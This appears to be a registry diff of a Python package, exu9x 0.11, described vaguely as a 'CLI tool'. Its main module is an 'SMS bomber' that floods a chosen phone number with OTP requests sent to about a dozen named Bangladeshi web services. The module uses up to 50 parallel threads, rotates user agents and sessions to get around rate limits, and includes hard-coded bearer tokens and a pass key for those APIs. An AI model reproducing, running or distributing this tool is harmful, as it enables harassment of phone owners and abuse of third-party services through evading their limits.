exu9x 0.11__tar.gz

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
exu9x-0.11/PKG-INFO ADDED
@@ -0,0 +1,18 @@
1
+ Metadata-Version: 2.4
2
+ Name: exu9x
3
+ Version: 0.11
4
+ Summary: exu CLI tool
5
+ Author: Your Name
6
+ License: MIT
7
+ Requires-Python: >=3.8
8
+ Requires-Dist: requests
9
+ Description-Content-Type: text/markdown
10
+
11
+ # exu
12
+
13
+ CLI tool by [EXU CodeX](https://t.me/exucodex)
14
+
15
+ ## Install
16
+
17
+ ```bash
18
+ pip install exu
exu9x-0.11/README.md ADDED
@@ -0,0 +1,8 @@
1
+ # exu
2
+
3
+ CLI tool by [EXU CodeX](https://t.me/exucodex)
4
+
5
+ ## Install
6
+
7
+ ```bash
8
+ pip install exu
@@ -0,0 +1,2 @@
1
+ """exu - bomber CLI tool."""
2
+ __version__ = "0.11"
exu9x-0.11/exu/cli.py ADDED
@@ -0,0 +1,7 @@
1
+ """CLI entry point wrapper."""
2
+
3
+ import runpy
4
+
5
+
6
+ def main():
7
+ runpy.run_module('exu.exu', run_name='__main__')
exu9x-0.11/exu/exu.py ADDED
@@ -0,0 +1,570 @@
1
+ #!/usr/bin/env python3
2
+ import requests
3
+ import time
4
+ import random
5
+ import hashlib
6
+ import uuid
7
+ import json
8
+ import os
9
+ import sys
10
+ import threading
11
+ from concurrent.futures import ThreadPoolExecutor, as_completed
12
+ from datetime import datetime
13
+ from queue import Queue
14
+ from collections import defaultdict
15
+
16
+ # ========== COLORS ==========
17
+ GREEN = '\033[92m'
18
+ RED = '\033[91m'
19
+ YELLOW = '\033[93m'
20
+ BLUE = '\033[94m'
21
+ CYAN = '\033[96m'
22
+ MAGENTA = '\033[95m'
23
+ WHITE = '\033[97m'
24
+ BOLD = '\033[1m'
25
+ DIM = '\033[2m'
26
+ RESET = '\033[0m'
27
+
28
+ def clear_screen():
29
+ os.system('cls' if os.name == 'nt' else 'clear')
30
+
31
+ def print_banner():
32
+ banner = f"""
33
+ {CYAN}{BOLD}
34
+ ███████╗██╗ ██╗██╗ ██╗ ██████╗ ██████╗ ██████╗ ███████╗██████╗
35
+ ██╔════╝╚██╗██╔╝██║ ██║██╔════╝██╔═══██╗██╔══██╗██╔════╝██╔══██╗
36
+ █████╗ ╚███╔╝ ██║ ██║██║ ██║ ██║██║ ██║█████╗ ██████╔╝
37
+ ██╔══╝ ██╔██╗ ██║ ██║██║ ██║ ██║██║ ██║██╔══╝ ██╔══██╗
38
+ ███████╗██╔╝ ██╗╚██████╔╝╚██████╗╚██████╔╝██████╔╝███████╗██║ ██║
39
+ ╚══════╝╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═════╝ ╚═════╝ ╚══════╝╚═╝ ╚═╝
40
+ {RESET}
41
+ """
42
+ print(banner)
43
+
44
+ def print_menu():
45
+ menu = f"""
46
+ {WHITE}{BOLD}╭──────────────────────────────────╮
47
+ │ 𝐒𝐌𝐒 𝐁𝐎𝐌𝐁𝐄𝐑 𝐯𝟔.𝟎 │
48
+ │ @𝐄𝐗𝐔𝐂𝐎𝐃𝐄𝐑 │
49
+ ╰──────────────────────────────────╯
50
+
51
+ {GREEN}{BOLD}𝟏.{RESET} 𝐒𝐭𝐚𝐫𝐭 𝐁𝐨𝐦𝐛𝐢𝐧𝐠 (𝐌𝐚𝐱 𝐒𝐩𝐞𝐞𝐝)
52
+ {YELLOW}{BOLD}𝟐.{RESET} 𝐓𝐞𝐬𝐭 𝐀𝐏𝐈𝐬
53
+ {BLUE}{BOLD}𝟑.{RESET} 𝐆𝐞𝐧𝐞𝐫𝐚𝐭𝐞 𝐂𝐫𝐞𝐝𝐬
54
+ {CYAN}{BOLD}𝟒.{RESET} 𝐀𝐏𝐈 𝐒𝐭𝐚𝐭𝐮𝐬
55
+ {MAGENTA}{BOLD}𝟓.{RESET} 𝐂𝐡𝐚𝐧𝐠𝐞 𝐒𝐩𝐞𝐞𝐝
56
+ {RED}{BOLD}𝟔.{RESET} 𝐄𝐱𝐢𝐭
57
+
58
+ {WHITE}{BOLD}────────────────────────────────────{RESET}
59
+ """
60
+ print(menu)
61
+
62
+ # ========== USER AGENTS ==========
63
+ USER_AGENTS = [
64
+ "Mozilla/5.0 (Linux; Android 15; Infinix X6728) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.7827.159 Mobile Safari/537.36",
65
+ "Mozilla/5.0 (Linux; Android 14; SM-G998B) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.7827.159 Mobile Safari/537.36",
66
+ "Mozilla/5.0 (Linux; Android 13; Pixel 6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.7827.159 Mobile Safari/537.36",
67
+ "Mozilla/5.0 (Linux; Android 15; Xiaomi 14) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.7827.159 Mobile Safari/537.36",
68
+ "Mozilla/5.0 (iPhone; CPU iPhone OS 17_5_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.5 Mobile/15E148 Safari/604.1",
69
+ "Mozilla/5.0 (Linux; Android 15; OnePlus 12) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.7827.159 Mobile Safari/537.36",
70
+ "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.7827.159 Safari/537.36",
71
+ "Mozilla/5.0 (Linux; Android 15; Vivo X100) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.7827.159 Mobile Safari/537.36",
72
+ "Mozilla/5.0 (Linux; Android 14; Realme GT) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.7827.159 Mobile Safari/537.36",
73
+ "Mozilla/5.0 (Linux; Android 15; Oppo Find X7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.7827.159 Mobile Safari/537.36"
74
+ ]
75
+
76
+ def get_random_ua():
77
+ return random.choice(USER_AGENTS)
78
+
79
+ # ========== SESSION MANAGER ==========
80
+ class SessionManager:
81
+ def __init__(self):
82
+ self.sessions = {}
83
+ self.fingerprints = {}
84
+ self.current_ua = get_random_ua()
85
+ self.rate_limited = {}
86
+ self.lock = threading.Lock()
87
+
88
+ def generate_fingerprint(self):
89
+ return {
90
+ "fingerprint": hashlib.sha256(f"{uuid.uuid4()}{time.time()}{random.randint(1000, 9999)}".encode()).hexdigest()[:32],
91
+ "guest_id": str(uuid.uuid4()),
92
+ "device_id": hashlib.md5(f"{uuid.uuid4()}{random.randint(1000, 9999)}".encode()).hexdigest(),
93
+ "session_id": secrets.token_hex(16),
94
+ "timestamp": int(time.time() * 1000)
95
+ }
96
+
97
+ def rotate_session(self, api_name):
98
+ with self.lock:
99
+ self.current_ua = get_random_ua()
100
+ if api_name in self.sessions:
101
+ del self.sessions[api_name]
102
+ self.fingerprints[api_name] = self.generate_fingerprint()
103
+ self.rate_limited[api_name] = time.time()
104
+ return self.get_session(api_name)
105
+
106
+ def get_session(self, api_name):
107
+ with self.lock:
108
+ if api_name not in self.sessions:
109
+ session = requests.Session()
110
+ session.headers.update({
111
+ "User-Agent": self.current_ua,
112
+ "Accept": "application/json, text/plain, */*",
113
+ "Accept-Language": "en-US,en;q=0.9",
114
+ "Accept-Encoding": "gzip, deflate, br",
115
+ "Connection": "keep-alive"
116
+ })
117
+ self.sessions[api_name] = session
118
+ if api_name not in self.fingerprints:
119
+ self.fingerprints[api_name] = self.generate_fingerprint()
120
+ return self.sessions[api_name]
121
+
122
+ def is_rate_limited(self, status_code):
123
+ return status_code in [429, 503, 403, 408]
124
+
125
+ # ========== 15+ WORKING APIS ==========
126
+ APIS = [
127
+ # === CONFIRMED WORKING (From Your Tests) ===
128
+ {
129
+ "name": "𝐊𝐚𝐛𝐛𝐢𝐤",
130
+ "url": "https://api.kabbik.com/v1/auth/otpnew2",
131
+ "method": "POST",
132
+ "headers": {
133
+ "Content-Type": "application/json",
134
+ "Authorization": "Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyX2lkIjoiMjgyMCIsInJvbGUiOjEsImlhdCI6MTY1NzQ2MjI1fQ.dSY47sipaGTI_OtsysFWw_kaKZKWHWRtp4vklstVgVc",
135
+ "Origin": "https://kabbik.com",
136
+ "Referer": "https://kabbik.com/",
137
+ "X-Requested-With": "com.xbrowser.play"
138
+ },
139
+ "data": '{"msisdn":"88{msisdn}","currentTimeLong":{timestamp},"passKey":"ZviQQrBZroUaFMDP"}'
140
+ },
141
+ {
142
+ "name": "𝐎𝐬𝐭𝐚𝐝",
143
+ "url": "https://api.ostad.app/api/v2/user/with-otp",
144
+ "method": "POST",
145
+ "headers": {
146
+ "Content-Type": "application/json",
147
+ "Accept": "*/*",
148
+ "Origin": "https://ostad.app",
149
+ "Referer": "https://ostad.app/",
150
+ "X-Requested-With": "com.xbrowser.play"
151
+ },
152
+ "data": '{"msisdn":"{msisdn}"}'
153
+ },
154
+ {
155
+ "name": "𝐁𝐃 𝐓𝐢𝐜𝐤𝐞𝐭𝐬",
156
+ "url": "https://apiv1.bdtickets.com/api/v1/auth/otp/send",
157
+ "method": "POST",
158
+ "headers": {
159
+ "Content-Type": "application/json",
160
+ "Accept": "application/json, text/plain, */*",
161
+ "Authorization": "Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzZXNzaW9uX2lkIjoiYTY5Y2E1ZTMtNDZiNy00ZWExLWE3NzEtZjg4YTYzODQ5NjI0IiwiaXNfYW5vbnltb3VzIjp0cnVlLCJ0b2tlbl92ZXJzaW9uIjoxLCJyb2xlcyI6W10sInBlcm1pc3Npb25zIjpbXSwianRpIjoiNTlkNjk5MDUtNjE2ZC00OWM1LWFjNTYtYzZiMWY3OTM4NmI4IiwiaWF0IjoxNzgzMjQ0MzAwLCJleHAiOjE3ODM4NDkxMDB9.qJyAobTFhFenc9EjMnDIJyNPC9Dt7UyPMCqxUEU4wDY",
162
+ "X-Platform": "web",
163
+ "X-Channel": "direct",
164
+ "Origin": "https://bdtickets.com",
165
+ "Referer": "https://bdtickets.com/"
166
+ },
167
+ "data": '{"phone":"+88{msisdn}"}'
168
+ },
169
+ {
170
+ "name": "𝐀𝐩𝐩𝐋𝐢𝐧𝐤",
171
+ "url": "https://applink.com.bd/appstore-v4-server/login/otp/request",
172
+ "method": "POST",
173
+ "headers": {
174
+ "Content-Type": "application/json",
175
+ "Accept": "*/*",
176
+ "X-Requested-With": "com.xbrowser.play",
177
+ "Origin": "https://apps.applink.com.bd",
178
+ "Referer": "https://apps.applink.com.bd/"
179
+ },
180
+ "data": '{"msisdn":"88{msisdn}"}'
181
+ },
182
+
183
+ # === NEW APIS - FRESH ADDITIONS ===
184
+ {
185
+ "name": "𝐆𝐚𝐫𝐢𝐁𝐨𝐨𝐤",
186
+ "url": "https://api.garibookadmin.com/api/v4/user/login",
187
+ "method": "POST",
188
+ "headers": {
189
+ "Content-Type": "application/json",
190
+ "Accept": "application/json",
191
+ "Origin": "https://garibook.com",
192
+ "Referer": "https://garibook.com/",
193
+ "X-Requested-With": "mark.via.gp"
194
+ },
195
+ "data": '{"mobile":"+88{msisdn}","recaptcha_token":"03AFcWeA5xYvR6nQ8xYvR6nQ8xYvR6nQ8","channel":"web"}'
196
+ },
197
+ {
198
+ "name": "𝐊𝐢𝐫𝐞𝐢𝐁𝐃",
199
+ "url": "https://frontendapi.kireibd.com/api/v2/send-login-otp",
200
+ "method": "POST",
201
+ "headers": {
202
+ "Content-Type": "application/json",
203
+ "Accept": "application/json, text/plain, */*",
204
+ "Origin": "https://kireibd.com",
205
+ "Referer": "https://kireibd.com/",
206
+ "X-Requested-With": "XMLHttpRequest"
207
+ },
208
+ "data": '{"email":"{msisdn}"}'
209
+ },
210
+ {
211
+ "name": "𝐒𝐡𝐢𝐤𝐡𝐨",
212
+ "url": "https://api.shikho.com/auth/v2/send/sms",
213
+ "method": "POST",
214
+ "headers": {
215
+ "Content-Type": "application/json",
216
+ "Accept": "application/json, text/plain, */*",
217
+ "Origin": "https://shikho.com",
218
+ "Referer": "https://shikho.com/"
219
+ },
220
+ "data": '{"phone":"88{msisdn}","type":"student","auth_type":"signup","vendor":"shikho"}'
221
+ },
222
+ {
223
+ "name": "𝐒𝐡𝐰𝐚𝐩𝐧𝐨",
224
+ "url": "https://www.shwapno.com/api/auth",
225
+ "method": "POST",
226
+ "headers": {
227
+ "Content-Type": "application/json",
228
+ "Accept": "application/json",
229
+ "Referer": "https://www.shwapno.com/",
230
+ "Origin": "https://www.shwapno.com"
231
+ },
232
+ "data": '{"phoneNumber":"+88{msisdn}"}'
233
+ },
234
+ {
235
+ "name": "𝐆𝐏 𝐖𝐞𝐛𝐬𝐢𝐭𝐞",
236
+ "url": "https://webloginda.grameenphone.com/backend/api/v1/otp",
237
+ "method": "POST",
238
+ "headers": {
239
+ "Content-Type": "application/json"
240
+ },
241
+ "data": '{"msisdn":"{msisdn}"}'
242
+ },
243
+ {
244
+ "name": "𝐑𝐨𝐤𝐨𝐦𝐚𝐫𝐢",
245
+ "url": "https://www.rokomari.com/otp/send",
246
+ "method": "POST",
247
+ "headers": {
248
+ "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",
249
+ "X-Requested-With": "XMLHttpRequest",
250
+ "Origin": "https://www.rokomari.com",
251
+ "Referer": "https://www.rokomari.com/login",
252
+ "Accept": "*/*"
253
+ },
254
+ "data": "emailOrPhone=88{msisdn}&countryCode=BD"
255
+ },
256
+ {
257
+ "name": "𝐅𝐮𝐧𝐝𝐞𝐬𝐡",
258
+ "url": "https://fundesh.com.bd/api/auth/otp/generate",
259
+ "method": "POST",
260
+ "headers": {
261
+ "Content-Type": "application/json; charset=utf-8",
262
+ "Accept": "application/json, text/plain, */*",
263
+ "X-Requested-With": "com.xbrowser.play",
264
+ "Origin": "https://fundesh.com.bd",
265
+ "Referer": "https://fundesh.com.bd/"
266
+ },
267
+ "data": '{"msisdn":"{msisdn}"}'
268
+ },
269
+ {
270
+ "name": "𝐆𝐚𝐦𝐞𝐇𝐮𝐛",
271
+ "url": "https://developer.portal.gamehubbd.com/api/v1/auth/otp",
272
+ "method": "POST",
273
+ "headers": {
274
+ "Content-Type": "application/x-www-form-urlencoded",
275
+ "Origin": "https://pay.portal.gamehubbd.com",
276
+ "Referer": "https://pay.portal.gamehubbd.com/",
277
+ "X-Requested-With": "com.xbrowser.play"
278
+ },
279
+ "data": "phone={msisdn}&game_slug=LEGENDARY&timestamp={timestamp}&digest={digest}"
280
+ }
281
+ ]
282
+
283
+ # ========== SPEED CONFIG ==========
284
+ SPEED_CONFIG = {
285
+ "turbo": {"workers": 50, "delay": 0.001, "label": "🚀 Turbo (Max Speed)"},
286
+ "fast": {"workers": 30, "delay": 0.005, "label": "⚡ Fast"},
287
+ "normal": {"workers": 15, "delay": 0.02, "label": "🐢 Normal"},
288
+ "slow": {"workers": 5, "delay": 0.05, "label": "🐌 Slow (Safe)"}
289
+ }
290
+
291
+ current_speed = "fast"
292
+
293
+ # ========== SEND OTP ==========
294
+ session_manager = SessionManager()
295
+
296
+ def send_otp(api, msisdn, attempt):
297
+ """Send OTP with auto-rotation"""
298
+ try:
299
+ clean_msisdn = msisdn[-11:] if len(msisdn) > 11 else msisdn
300
+ api_name = api["name"]
301
+
302
+ session = session_manager.get_session(api_name)
303
+
304
+ data = api["data"]
305
+ if "{timestamp}" in data:
306
+ timestamp = int(time.time() * 1000) + random.randint(1000, 9999)
307
+ data = data.replace("{timestamp}", str(timestamp))
308
+ if "{digest}" in data:
309
+ timestamp = int(time.time() * 1000) + random.randint(1000, 9999)
310
+ digest = hashlib.sha256(f"{clean_msisdn}{timestamp}ZviQQrBZroUaFMDP".encode()).hexdigest()
311
+ data = data.replace("{digest}", digest)
312
+ if "{msisdn}" in data:
313
+ data = data.replace("{msisdn}", clean_msisdn)
314
+
315
+ headers = api["headers"].copy()
316
+ headers["User-Agent"] = session_manager.current_ua
317
+
318
+ if api["method"] == "POST":
319
+ if "application/json" in headers.get("Content-Type", ""):
320
+ try:
321
+ json_data = json.loads(data)
322
+ response = session.post(api["url"], headers=headers, json=json_data, timeout=5)
323
+ except:
324
+ response = session.post(api["url"], headers=headers, data=data, timeout=5)
325
+ else:
326
+ response = session.post(api["url"], headers=headers, data=data, timeout=5)
327
+ else:
328
+ response = session.get(api["url"], headers=headers, timeout=5)
329
+
330
+ if session_manager.is_rate_limited(response.status_code):
331
+ session_manager.rotate_session(api_name)
332
+ return {
333
+ "api": api_name,
334
+ "status": response.status_code,
335
+ "success": False,
336
+ "rotated": True,
337
+ "time": round(response.elapsed.total_seconds(), 2)
338
+ }
339
+
340
+ return {
341
+ "api": api_name,
342
+ "status": response.status_code,
343
+ "success": response.status_code in [200, 201, 202, 204],
344
+ "rotated": False,
345
+ "time": round(response.elapsed.total_seconds(), 2)
346
+ }
347
+ except Exception as e:
348
+ return {
349
+ "api": api_name,
350
+ "status": "ERROR",
351
+ "success": False,
352
+ "rotated": False,
353
+ "error": str(e)[:30]
354
+ }
355
+
356
+ # ========== PARALLEL BOMBING ==========
357
+ def start_bombing_parallel(msisdn, amount=100):
358
+ """Parallel bombing with max speed"""
359
+ config = SPEED_CONFIG[current_speed]
360
+
361
+ print(f"\n{YELLOW}{BOLD}➜ 𝐓𝐚𝐫𝐠𝐞𝐭:{RESET} {msisdn}")
362
+ print(f"{YELLOW}{BOLD}➜ 𝐀𝐦𝐨𝐮𝐧𝐭:{RESET} {amount} SMS")
363
+ print(f"{YELLOW}{BOLD}➜ 𝐀𝐏𝐈𝐬:{RESET} {len(APIS)} services")
364
+ print(f"{YELLOW}{BOLD}➜ 𝐒𝐩𝐞𝐞𝐝:{RESET} {config['label']}")
365
+ print(f"{YELLOW}{BOLD}➜ 𝐖𝐨𝐫𝐤𝐞𝐫𝐬:{RESET} {config['workers']}")
366
+ print(f"{YELLOW}{BOLD}➜ 𝐀𝐮𝐭𝐨-𝐑𝐨𝐭𝐚𝐭𝐞:{RESET} 𝐄𝐍𝐀𝐁𝐋𝐄𝐃\n")
367
+
368
+ results = []
369
+ success_count = 0
370
+ failed_count = 0
371
+ rotated_count = 0
372
+ start_time = time.time()
373
+
374
+ # Create task queue
375
+ tasks = []
376
+ for i in range(amount):
377
+ api = APIS[i % len(APIS)]
378
+ tasks.append((api, msisdn, i))
379
+
380
+ # Parallel execution
381
+ with ThreadPoolExecutor(max_workers=config['workers']) as executor:
382
+ futures = []
383
+ for api, phone, attempt in tasks:
384
+ future = executor.submit(send_otp, api, phone, attempt)
385
+ futures.append(future)
386
+ if config['delay'] > 0:
387
+ time.sleep(config['delay'])
388
+
389
+ completed = 0
390
+ for future in as_completed(futures):
391
+ result = future.result()
392
+ results.append(result)
393
+ completed += 1
394
+
395
+ if result["success"]:
396
+ success_count += 1
397
+ status = f"{GREEN}✓ 𝐒𝐄𝐍𝐓{RESET}"
398
+ elif result.get("rotated", False):
399
+ rotated_count += 1
400
+ status = f"{YELLOW}⟳ 𝐑𝐎𝐓𝐀𝐓𝐄𝐃{RESET}"
401
+ else:
402
+ failed_count += 1
403
+ status = f"{RED}✗ 𝐅𝐀𝐈𝐋𝐄𝐃{RESET}"
404
+
405
+ # Progress bar
406
+ progress = int((completed / amount) * 30)
407
+ bar = "█" * progress + "░" * (30 - progress)
408
+ print(f" [{completed}/{amount}] {bar} {status}")
409
+
410
+ elapsed = time.time() - start_time
411
+
412
+ # Summary
413
+ print(f"\n{WHITE}{BOLD}═══════════════════════════════════{RESET}")
414
+ print(f"{GREEN}{BOLD}✓ 𝐁𝐎𝐌𝐁𝐈𝐍𝐆 𝐂𝐎𝐌𝐏𝐋𝐄𝐓𝐄!{RESET}")
415
+ print(f"{WHITE}{BOLD}📱 𝐓𝐚𝐫𝐠𝐞𝐭:{RESET} {msisdn}")
416
+ print(f"{WHITE}{BOLD}📨 𝐓𝐨𝐭𝐚𝐥:{RESET} {amount}")
417
+ print(f"{GREEN}{BOLD}✅ 𝐒𝐮𝐜𝐜𝐞𝐬𝐬:{RESET} {success_count}")
418
+ print(f"{RED}{BOLD}❌ 𝐅𝐚𝐢𝐥𝐞𝐝:{RESET} {failed_count}")
419
+ print(f"{YELLOW}{BOLD}⟳ 𝐑𝐨𝐭𝐚𝐭𝐞𝐝:{RESET} {rotated_count}")
420
+ print(f"{WHITE}{BOLD}📊 𝐑𝐚𝐭𝐞:{RESET} {(success_count/amount*100):.1f}%")
421
+ print(f"{WHITE}{BOLD}⏱️ 𝐓𝐢𝐦𝐞:{RESET} {elapsed:.2f}s")
422
+ print(f"{WHITE}{BOLD}🚀 𝐒𝐩𝐞𝐞𝐝:{RESET} {amount/elapsed:.1f} req/s")
423
+ print(f"{WHITE}{BOLD}═══════════════════════════════════{RESET}")
424
+
425
+ # ========== TEST APIS ==========
426
+ def test_apis(msisdn):
427
+ """Test all APIs"""
428
+ print(f"\n{YELLOW}{BOLD}➜ 𝐓𝐞𝐬𝐭𝐢𝐧𝐠 {len(APIS)} 𝐀𝐏𝐈𝐬...{RESET}\n")
429
+
430
+ working = []
431
+ failed = []
432
+
433
+ with ThreadPoolExecutor(max_workers=10) as executor:
434
+ futures = []
435
+ for api in APIS:
436
+ futures.append(executor.submit(send_otp, api, msisdn, 1))
437
+ time.sleep(0.01)
438
+
439
+ for future, api in zip(as_completed(futures), APIS):
440
+ result = future.result()
441
+ if result["success"]:
442
+ working.append(api["name"])
443
+ print(f" {GREEN}{BOLD}✓{RESET} {api['name']:<15} {GREEN}𝐖𝐎𝐑𝐊𝐈𝐍𝐆{RESET}")
444
+ else:
445
+ failed.append(api["name"])
446
+ print(f" {RED}{BOLD}✗{RESET} {api['name']:<15} {RED}𝐅𝐀𝐈𝐋𝐄𝐃{RESET}")
447
+
448
+ print(f"\n{WHITE}{BOLD}═══════════════════════════════════{RESET}")
449
+ print(f"{GREEN}{BOLD}✓ Working:{RESET} {len(working)}/{len(APIS)}")
450
+ print(f"{RED}{BOLD}✗ Failed:{RESET} {len(failed)}/{len(APIS)}")
451
+ print(f"{WHITE}{BOLD}═══════════════════════════════════{RESET}")
452
+
453
+ # ========== GENERATE CREDENTIALS ==========
454
+ def generate_credentials():
455
+ """Generate fresh credentials"""
456
+ print(f"\n{YELLOW}{BOLD}➜ 𝐆𝐞𝐧𝐞𝐫𝐚𝐭𝐢𝐧𝐠 𝐂𝐫𝐞𝐝𝐞𝐧𝐭𝐢𝐚𝐥𝐬...{RESET}\n")
457
+
458
+ fingerprint = session_manager.generate_fingerprint()
459
+
460
+ print(f"{WHITE}{BOLD}𝐅𝐢𝐧𝐠𝐞𝐫𝐩𝐫𝐢𝐧𝐭:{RESET} {fingerprint['fingerprint']}")
461
+ print(f"{WHITE}{BOLD}𝐆𝐮𝐞𝐬𝐭 𝐈𝐃:{RESET} {fingerprint['guest_id']}")
462
+ print(f"{WHITE}{BOLD}𝐃𝐞𝐯𝐢𝐜𝐞 𝐈𝐃:{RESET} {fingerprint['device_id']}")
463
+ print(f"{WHITE}{BOLD}𝐒𝐞𝐬𝐬𝐢𝐨𝐧 𝐈𝐃:{RESET} {fingerprint['session_id']}")
464
+ print(f"{WHITE}{BOLD}𝐔𝐬𝐞𝐫-𝐀𝐠𝐞𝐧𝐭:{RESET} {session_manager.current_ua}")
465
+
466
+ # ========== SHOW API STATUS ==========
467
+ def show_status():
468
+ """Show API status"""
469
+ print(f"\n{YELLOW}{BOLD}➜ 𝐀𝐏𝐈 𝐒𝐭𝐚𝐭𝐮𝐬 ({len(APIS)} APIs){RESET}\n")
470
+ for i, api in enumerate(APIS, 1):
471
+ print(f" {WHITE}{BOLD}{i:2}.{RESET} {api['name']}")
472
+
473
+ # ========== CHANGE SPEED ==========
474
+ def change_speed():
475
+ """Change bombing speed"""
476
+ global current_speed
477
+ print(f"\n{YELLOW}{BOLD}➜ 𝐂𝐡𝐚𝐧𝐠𝐞 𝐒𝐩𝐞𝐞𝐝{RESET}\n")
478
+ print(f" {GREEN}{BOLD}1.{RESET} 🚀 Turbo (50 workers, 0.001s delay)")
479
+ print(f" {BLUE}{BOLD}2.{RESET} ⚡ Fast (30 workers, 0.005s delay) {GREEN}← Current{RESET}" if current_speed == "fast" else f" {BLUE}{BOLD}2.{RESET} ⚡ Fast (30 workers, 0.005s delay)")
480
+ print(f" {WHITE}{BOLD}3.{RESET} 🐢 Normal (15 workers, 0.02s delay)")
481
+ print(f" {YELLOW}{BOLD}4.{RESET} 🐌 Slow (5 workers, 0.05s delay)")
482
+
483
+ choice = input(f"\n{WHITE}{BOLD}➜ 𝐒𝐞𝐥𝐞𝐜𝐭:{RESET} ").strip()
484
+ speeds = {"1": "turbo", "2": "fast", "3": "normal", "4": "slow"}
485
+ if choice in speeds:
486
+ current_speed = speeds[choice]
487
+ print(f"\n{GREEN}{BOLD}✓ Speed changed to: {SPEED_CONFIG[current_speed]['label']}{RESET}")
488
+
489
+ # ========== MAIN ==========
490
+ def main():
491
+ clear_screen()
492
+ print_banner()
493
+
494
+ while True:
495
+ print_menu()
496
+ choice = input(f"\n{WHITE}{BOLD}➜ 𝐒𝐞𝐥𝐞𝐜𝐭:{RESET} ").strip()
497
+
498
+ if choice == "1":
499
+ clear_screen()
500
+ print_banner()
501
+
502
+ phone = input(f"\n{WHITE}{BOLD}📱 𝐏𝐡𝐨𝐧𝐞:{RESET} ").strip()
503
+ phone = ''.join(filter(str.isdigit, phone))
504
+ if len(phone) > 11:
505
+ phone = phone[-11:]
506
+
507
+ if len(phone) != 11:
508
+ print(f"{RED}{BOLD}✗ 𝐈𝐧𝐯𝐚𝐥𝐢𝐝!{RESET}")
509
+ input(f"\n{WHITE}𝐏𝐫𝐞𝐬𝐬 𝐄𝐧𝐭𝐞𝐫...{RESET}")
510
+ continue
511
+
512
+ amount = input(f"{WHITE}{BOLD}🔢 𝐀𝐦𝐨𝐮𝐧𝐭:{RESET} ").strip()
513
+ amount = int(amount) if amount else 100
514
+
515
+ start_bombing_parallel(phone, amount)
516
+ input(f"\n{WHITE}𝐏𝐫𝐞𝐬𝐬 𝐄𝐧𝐭𝐞𝐫...{RESET}")
517
+ clear_screen()
518
+ print_banner()
519
+
520
+ elif choice == "2":
521
+ clear_screen()
522
+ print_banner()
523
+ phone = input(f"\n{WHITE}{BOLD}📱 𝐏𝐡𝐨𝐧𝐞:{RESET} ").strip()
524
+ phone = ''.join(filter(str.isdigit, phone))
525
+ if len(phone) > 11:
526
+ phone = phone[-11:]
527
+ test_apis(phone)
528
+ input(f"\n{WHITE}𝐏𝐫𝐞𝐬𝐬 𝐄𝐧𝐭𝐞𝐫...{RESET}")
529
+ clear_screen()
530
+ print_banner()
531
+
532
+ elif choice == "3":
533
+ clear_screen()
534
+ print_banner()
535
+ generate_credentials()
536
+ input(f"\n{WHITE}𝐏𝐫𝐞𝐬𝐬 𝐄𝐧𝐭𝐞𝐫...{RESET}")
537
+ clear_screen()
538
+ print_banner()
539
+
540
+ elif choice == "4":
541
+ clear_screen()
542
+ print_banner()
543
+ show_status()
544
+ input(f"\n{WHITE}𝐏𝐫𝐞𝐬𝐬 𝐄𝐧𝐭𝐞𝐫...{RESET}")
545
+ clear_screen()
546
+ print_banner()
547
+
548
+ elif choice == "5":
549
+ clear_screen()
550
+ print_banner()
551
+ change_speed()
552
+ input(f"\n{WHITE}𝐏𝐫𝐞𝐬𝐬 𝐄𝐧𝐭𝐞𝐫...{RESET}")
553
+ clear_screen()
554
+ print_banner()
555
+
556
+ elif choice == "6":
557
+ print(f"\n{GREEN}{BOLD}✓ 𝐆𝐨𝐨𝐝𝐛𝐲𝐞! @𝐄𝐗𝐔𝐂𝐎𝐃𝐄𝐑{RESET}")
558
+ sys.exit(0)
559
+
560
+ else:
561
+ print(f"{RED}{BOLD}✗ 𝐈𝐧𝐯𝐚𝐥𝐢𝐝!{RESET}")
562
+ time.sleep(1)
563
+
564
+ if __name__ == "__main__":
565
+ try:
566
+ main()
567
+ except KeyboardInterrupt:
568
+ print(f"\n\n{RED}{BOLD}✗ 𝐈𝐧𝐭𝐞𝐫𝐫𝐮𝐩𝐭𝐞𝐝{RESET}")
569
+ sys.exit(0)
570
+
@@ -0,0 +1,21 @@
1
+ [build-system]
2
+ requires = ["hatchling"]
3
+ build-backend = "hatchling.build"
4
+
5
+ [project]
6
+ name = "exu9x"
7
+ version = "0.11"
8
+ description = "exu CLI tool"
9
+ readme = "README.md"
10
+ license = {text = "MIT"}
11
+ requires-python = ">=3.8"
12
+ authors = [{name = "Your Name"}]
13
+ dependencies = [
14
+ "requests",
15
+ ]
16
+
17
+ [project.scripts]
18
+ exu = "exu.cli:main"
19
+
20
+ [tool.hatch.build.targets.wheel]
21
+ packages = ["exu"]